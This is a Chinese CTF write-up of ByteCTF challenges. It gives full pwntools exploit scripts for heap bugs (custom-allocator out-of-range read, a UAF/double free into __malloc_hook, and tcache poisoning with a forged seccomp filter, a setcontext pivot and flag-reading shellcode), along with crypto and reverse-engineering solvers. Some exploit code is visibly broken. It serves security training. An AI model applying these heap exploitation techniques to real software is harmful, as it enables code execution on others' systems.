bytectf部分wp

mheap

先贴上我觉得最可惜的一道题

程序自已定义了分配原则

1
2
3
4
5
struct chunk{
size_t size;
void* next; //only use after free
char buf[size];
}

并且在程序一开始在0x23330000处申请了0x1000大小的空间当top chunk,以后的每次申请都从这个区域切割

1
2
3
4
0x4040d0 --> free列表:free掉的chunk按单链表的形式存放
0x4040C0 --> 存放top's size
0x4040C8 --> 存放top chunk
0x4040E0 --> chunk列表,最多可存放16个

漏洞点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall my_read(__int64 a1, signed int a2)
{
__int64 result; // rax
signed int v3; // [rsp+18h] [rbp-8h]
int v4; // [rsp+1Ch] [rbp-4h]

v3 = 0;
do
{
result = v3;
if ( v3 >= a2 )
break;
v4 = read(0, (a1 + v3), a2 - v3);
if ( !v4 )
exit(0);
v3 += v4;
result = *(v3 - 1LL + a1);
}
while ( result != 10 );
return result;
}

最有意思的也是最容易忽略的,当a1+v3超0x23331000时,read返回-1,而!-1 != 1所以可以实现向上读,之后只需要伪造一next指针即可,但是这个伪造块的size在远程似乎很有讲究,最终还是没能找到适合的size

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#coding:utf-8
from pwn import *
context.log_level = 'debug'
local = 1
if local:
p = process('./mheap')
elf = ELF('./mheap')
libc = elf.libc
else:
p = remote("112.126.98.5","9999")
elf = ELF('./mheap')
libc = ELF('./libc-2.27.so')
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
def alloc(id,size,data):
ru("choice: ")
sl("1")
ru("Index: ")
sl(str(id))
ru("size: ")
sl(str(size))
ru("Content: ")
sd(data)
def show(id):
ru("choice: ")
sl("2")
ru("Index: ")
sl(str(id))
def free(id):
ru("choice: ")
sl("3")
ru("Index: ")
sl(str(id))
def edit(id,data):
ru("choice: ")
sl("4")
ru("Index: ")
sl(str(id))
sd(data)
# chunk = 0x4040E0
# 0x4040C0 --> top_chunk's size
# 0x4040C8 --> top_chunk
# 0x4040d0 --> free 列表
alloc(1,0x10,'a'*0x10)
free(1)
alloc(0,0xfe0-0x20,'\x00'*(0xfe0-0x20))
# gdb.attach(p,"b *0x40154E")

# gdb.attach(p,"b *0x4011EA")

pay = p64(0x4040d0) + 'a'*(0xff0-1)
# gdb.attach(p,"b *0x4011EA")

size = 0x23330000
alloc(1,0xfff,pay)

sl('')
# gdb.attach(p,"b *0x40154E")
alloc(4,size-0x10,p64(elf.got['puts']) + p64(elf.got['atoi']) + '/bin/sh\x00' + '\n')
# gdb.attach(p)
show(0)

one_local = [0x45216,0x4526a,0xf02a4,0xf1147]
one_remote = [0x4f2c5,0x4f322,0x10a38c]
puts_addr = u64(rc(6).ljust(8,'\x00'))
libc_base = puts_addr - libc.symbols['puts']
onegadget = one_local[0] + libc_base
system = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search("/bin/sh").next()
log.info("puts_addrts --> %s",hex(puts_addr))
log.info("libc_base --> %s",hex(libc_base))
log.info("system --> %s",hex(system))
log.info("binsh_addr --> %s",hex(binsh_addr))
log.info("onegadget --> %s",hex(onegadget))

# gdb.attach(p)
edit(1,p64(system) + '\n')
ru("choice: ")
sl('/bin/sh')
# gdb.attach(p)
p.interactive()

mulnote

程序丑到爆炸,但是就是一个简单的UAF

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#coding:utf-8
from pwn import *
context.log_level = 'debug'
local = 0
if local:
p = process('./mulnote')
elf = ELF('./mulnote')
libc = elf.libc
else:
p = remote("112.126.101.96","9999")
elf = ELF('./mulnote')
libc = ELF('./libc.so')
#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
def create(size,note):
ru(">")
sl("C")
ru("size>")
sl(str(size))
ru("note>")
sl(note)
def edit(id,note):
ru(">")
sl("E")
ru("index>")
sl(str(id))
ru("note>")
sl(note)
def Remove(id):
ru(">")
sl("R")
ru("index>")
sl(str(id))
def show():
ru(">")
sl("S")
create(0x80,'b')#0
create(0x18,'a'*0x18)#1
Remove(0)
show()
ru("[0]:\n")
one_local = [0x45216,0x4526a,0xf02a4,0xf1147]

main_arena = u64(rc(6).ljust(8,'\x00')) - 88
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.symbols['__malloc_hook']
onegadget = libc_base + one_local[1]
fack_chunk = malloc_hook - 0x23
log.info("main_arena --> %s",hex(main_arena))
log.info("malloc_hook --> %s",hex(malloc_hook))
log.info("libc_base --> %s",hex(malloc_hook))
log.info("onegadget --> %s",hex(onegadget))
log.info("fack_chunk --> %s",hex(fack_chunk))
create(0x68,'a')#2
create(0x68,'b')#3
Remove(2)
Remove(3)
Remove(2)
pay = p64(fack_chunk)
create(0x68,pay)
create(0x68,'a')
create(0x68,'b')
pay = 0x13*'a' + p64(onegadget)
create(0x68,pay)
ru(">")
sl("C")
ru("size>")
sl('32')
# debug()
p.interactive()

vip

分析程序可以看到,在edit函数中有个任意长度的堆溢出

1
2
3
4
5
6
7
8
9
10
11
ssize_t __fastcall sub_4014A8(void *a1, int a2)
{
int fd; // [rsp+1Ch] [rbp-4h]

if ( dword_4040E0 )
return read(0, a1, a2);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
exit(0);
return read(fd, a1, a2);
}

但是前提是dword_4040E0不为0,否则溢出的也只是不可控的随机数

程序的run函数中调用了prtcl函数,而它的第7个参数刚好能被覆盖到0x30字节,所以可以伪造6条沙盒规则,这里我们把open函数关闭(return ERROR(0)),顺便打开mprotect绕过NX,那么前面提到的open("/dev/urandom")就会返回0,使得read(fd,a1,a2) == read(0,a1,a2),接下来就tcache了,但是因为execve函数被禁用了,所以这里用写shellcode直接读flag。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
from pwn import *

context(arch = 'amd64' , os = 'linux')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = "debug"

p = process("./vip")
#p = remote("112.126.103.14", 9999)

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)
slog = lambda x : log.success(x)
flog = lambda x : log.success(x)

libc = ELF("./libc-2.27.so")

def choose(idx):
sla(": ", str(idx))

def alloc(idx):
choose(1)
sla(": ", str(idx))

def show(idx):
choose(2)
sla(": ", str(idx))

def free(idx):
choose(3)
sla(": ", str(idx))

def edit(idx, size, ctx):
choose(4)
sla(": ", str(idx))
sla(": ", str(size))
sa(": ", ctx)
def rule(code,jt ,jf ,k):
return p16(code) + p8(jt) + p8(jf) + p32(k)
#def build_rule():
# payload = ''
# payload+= rule(0x20 ,0x00, 0x00, 0x00000004) # A = arch
# payload+= rule(0x15 ,0x00, 0x03, 0xc000003e) # if (A != ARCH_X86_64) goto 0010
# payload+= rule(0x20 ,0x00, 0x00, 0x00000000) # A = sys_number
# payload+= rule(0x15 ,0x01, 0x00, 0x00000002) # if (A == open) goto 0006
# payload+= rule(0x06 ,0x00, 0x00, 0x7fff0000) # return ALLOW
# # payload+= rule(0x15 ,0x03, 0x00, 0x0000003b) # if (A == execve) goto 0005
# payload+= rule(0x06 ,0x00, 0x00, 0x00050000) # return ERRNO(2)
# return payload
def build_rule():
payload = ''
payload+= rule(0x20 ,0x00, 0x00, 0x00000000) # A = arch
payload+= rule(0x15 ,0x07, 0x00, 0x00000001) # if (A == write) goto 0009
payload+= rule(0x15 ,0x06, 0x00, 0x00000000) # if (A == read) goto 0009
payload+= rule(0x15 ,0x05, 0x00, 0x0000000a) # if (A == mprotect) goto 0009
payload+= rule(0x15 ,0x04, 0x00, 0x40000002) # if (A == open) goto 0009
payload+= rule(0x06 ,0x00, 0x00, 0x00050000) # return ERRNO(2)
return payload

for i in range(15):
alloc(i)
pay = "a"*0x20+build_size()

print hex(len(pay))
pause()
choose(6)
sa("name: \n", pay)
p.interactive()
edit(0, 0x70, "a"*0x50+p64(0)+p64(0x421))
#gdb.attach(p)

free(1)
alloc(0)

show(0)
leak = ru("\x7f").ljust(8, "\x00")
leak = u64(leak)
libc.address = leak-0x3ec090
log.info("libc.address --> %s",hex(libc.address))

alloc(0)
alloc(1)


free(6)
free(7)
free(8)
free(9)
free(0)
edit(2, 16, p64(libc.symbols['__free_hook']))
alloc(4)
alloc(3)

free(2)
edit(4, 20, p64(0x404140))
alloc(0)
alloc(0)


edit(3, 0x20, p64(libc.symbols['setcontext']+53))
frame = SigreturnFrame()
frame.rsp = 0x404150
frame.rip = libc.symbols["mprotect"]
frame.rdx = 0x7
frame.rsi = 0x1000
frame.rdi = 0x404000

payload = "./flag\x00\x00"
payload += p64(0)
payload += p64(0x404260) + p64(1) + p64(1)*32

code = '''
mov rdi, 0x404140;
mov rsi, 0;
mov rdx, 0;
mov eax, 0x40000002;
syscall;


mov rdi, 3;
mov rsi, 0x404160;
mov rdx, 100;
mov eax, 0;
syscall;


mov rdi, 1;
mov rsi, 0x404160;
mov rdx, 100;
mov eax, 1;
syscall;
'''
payload += asm(code)

edit(0, 0x1000, payload)
edit(4, 0x300, str(frame))

free(4)

p.interactive()

MISC

betgame

第一关:b –> s ; j –> b ; s – j ;

第二关:j –> s ; s –> b ; b –> j;

第三关:s –> s ; b –> b ; j –> j;

写个脚本跑一通就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.log_level ='debug'
p = remote("112.125.25.81","9999")
for i in range(30):
p.recvuntil("use: ")
s = p.recv(1)
if i%3 == 0:
p.sendline(s)
elif i%3 == 1:
if s == 'j':
p.sendline("b")
elif s == 's':
p.sendline("j")
else :
p.sendline("s")
else :
if s == 'j':
p.sendline("s")
elif s == 's':
p.sendline("b")
else :
p.sendline("j")
p.interactive()

jigsaw

拼图出flag2333

CRYPTO

lrlr

aes随机数漏洞加广播攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import gmpy2
import libnum
from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrime
from Crypto.Cipher import AES
from randcrack import RandCrack
import random

def GCRT(mi, ai):
assert( isinstance (mi, list) and isinstance(ai, list))
curm, cura = mi[0], ai[0]
for (m, a ) in zip(mi[1:],ai[1:]):
d = gmpy2.gcd(curm, m)
c = a - cura
k = c // d *libnum.invmod(curm // d, m // d)
cura += curm * k
curm = curm * m // d
cura %= curm
return (cura %curm, curm)

rc = RandCrack()
r = []
fd = open("old","r")
out = fd.readline()
while out:
r.append(int(out.strip('\n'),10))
out = fd.readline()
# print r

for i in r[-624:]:
rc.submit(i)

for i in range(24):
rc.predict_getrandbits(128)

p = []
for i in range(48):
predict = rc.predict_getrandbits(128)
p.append(predict)
# print p

fd = open("new","r")
out = fd.readline()
cn = []
while out:
cn.append(long_to_bytes(int(out.strip('\n'),16)))
# print out
out = fd.readline()
# print cn

mn = []
clist = []
for i in range(24):
key = long_to_bytes(p[24+i])
h = AES.new(key, AES.MODE_CBC, b"\x00"*16)
cnow = h.decrypt(cn[i])
key = long_to_bytes(p[i])
h = AES.new(key, AES.MODE_CBC, b"\x00"*16)
mnow = h.decrypt(cnow)
mn.append(mnow)
clist = list(map(bytes_to_long, mn))
# print clist

nlist = []
fd = open("cl","r")
out = fd.readline()
while out:
nlist.append(int(out.strip('\n')[2:-1],16))
out = fd.readline()
# print nlist

m = GCRT(nlist, clist)[0]
# print m
e = 17
if gmpy2.iroot(m, e)[1] == 1:
flag = gmpy2.iroot(m, e)[0]
print flag

# 61406796444626535559771097418338494728649815464609781204026855332620301752444

然后z3解方程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from z3 import *
seed = BitVec("f", 256+1)
c = 0x10000000000000000000000000000000000000000000000000000000000000223
m = 61406796444626535559771097418338494728649815464609781204026855332620301752444
def calc(f):
p = 0
for i in range(256-1, -1, -1):
p = p * 2
p = If(Extract(i, i, f)==1, p^f, p)
p = If(LShR(p, 256)==1, p^c, p)
return p
solver = Solver()
solver.add(m==calc(seed))
solver.add(Extract(256, 256, seed)==0)
for i in range(7, 257, 8):
solver.add(Extract(i, i, seed)==0)
print(solver)
if solver.check() == sat:
print(solver.model())

flag{very_simple_random_problem}

REVERSE

驱动逆向

分析下来可以发现是AES加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
char *__fastcall sub_140002DD0(char *a1)
{
char *result; // rax
char v2; // [rsp+20h] [rbp-158h]
char v3; // [rsp+21h] [rbp-157h]
char v4[64]; // [rsp+E0h] [rbp-98h]
char iv; // [rsp+120h] [rbp-58h]
char md5_key; // [rsp+130h] [rbp-48h]
char *v7; // [rsp+180h] [rbp+8h]

v7 = a1;
v2 = 0;
memset(&v3, 0, 0xBFui64);
v4[0] = 0x89u;
v4[1] = 0xB7u;
v4[2] = 0xEEu;
v4[3] = 0xD5u;
v4[4] = 0x7E;
v4[5] = 0xDFu;
v4[6] = 0xBEu;
v4[7] = 0x67;
v4[8] = 0xBBu;
v4[9] = 0xEDu;
v4[10] = 0xC3u;
v4[11] = 0x6D;
v4[12] = 0x51;
v4[13] = 0x74;
v4[14] = 0xAEu;
v4[15] = 0x53;
v4[16] = 3;
v4[17] = 0xA4u;
v4[18] = 0x60;
v4[19] = 0xD3u;
v4[20] = 0xE7u;
v4[21] = 0xF5u;
v4[22] = 0xA1u;
v4[23] = 0xDEu;
v4[24] = 7;
v4[25] = 0x6B;
v4[26] = 0x25;
v4[27] = 0xD7u;
v4[28] = 0x57;
v4[29] = 0xCEu;
v4[30] = 0xC2u;
v4[31] = 0x6F;
v4[32] = 0xD3u;
v4[33] = 0xA5u;
v4[34] = 0xFFu;
v4[35] = 0xD7u;
v4[36] = 0x8Cu;
v4[37] = 0x54;
v4[38] = 0x16;
v4[39] = 0x9Fu;
v4[40] = 0xE3u;
v4[41] = 0xBFu;
v4[42] = 2;
v4[43] = 0x14;
v4[44] = 0x9Eu;
v4[45] = 7;
v4[46] = 0xBEu;
v4[47] = 0xB2u;
v4[48] = 0x6D;
v4[49] = 0x28;
v4[50] = 0x65;
v4[51] = 0x94u;
v4[52] = 0x19;
v4[53] = 0xE1u;
v4[54] = 0x51;
v4[55] = 0xDFu;
v4[56] = 0x7E;
v4[57] = 0x76;
v4[58] = 0xA3u;
v4[59] = 0xC3u;
v4[60] = 0xB2u;
v4[61] = 0x3B;
v4[62] = 0xA6u;
v4[63] = 0x69;
qmemcpy(&md5_key, &::md5_key, 0x20ui64);
qmemcpy(&iv, ::iv, 0x10ui64);
sub_1400010D0(&v2, &md5_key, &iv);
sub_140001000(&v2, v4, 0x40u);
result = v4;
qmemcpy(v7, v4, 0x40ui64);
return result;
}

这里v4是密文 ,md5key是通过伪造的“Fakelntel”分4段进行计算的结果 :key = b”\x52\xa9\x65\x08\xc3\x95\x36\xf0\xc2\x42\x53\x9b\x77\x17\xfb\xc6” IV由题目给出:25 40 5a 86 b5 f1 3e 58 80 9b db 0b 30 49 66 8c

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Hash import MD5
from Crypto.cipher import AES
import binascii

iv = b"\x25\x40\x5a\x86\xb5\xf1\x3e\x58\x80\x9b\xdb\x0b\x30\x49\x66\x8c"
key = b"\x52\xa9\x65\x08\xc3\x95\x36\xf0\xc2\x42\x53\x9b\x77\x17\xfb\xc6"
M = [137, 183, 238, 213, 126, 223, 190, 103, 187, 237, 195, 109, 81, 116, 174, 83, 3, 164, 96, 211, 231, 245, 161, 222, 7, 107, 37, 215, 87, 206, 194, 111, 211, 165, 255, 215, 140, 84, 22, 159, 227, 191, 2, 20, 158, 7, 190, 178, 109, 40, 101, 148, 25, 225, 81, 223, 126, 118, 163, 195, 178, 59, 166, 105]
M = bytes(M)
handle = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
m = handle.decrypt(M)
print(m)
# "bytectf{d0f20eff6fc4f6060776c8ca63319a1e}"
0%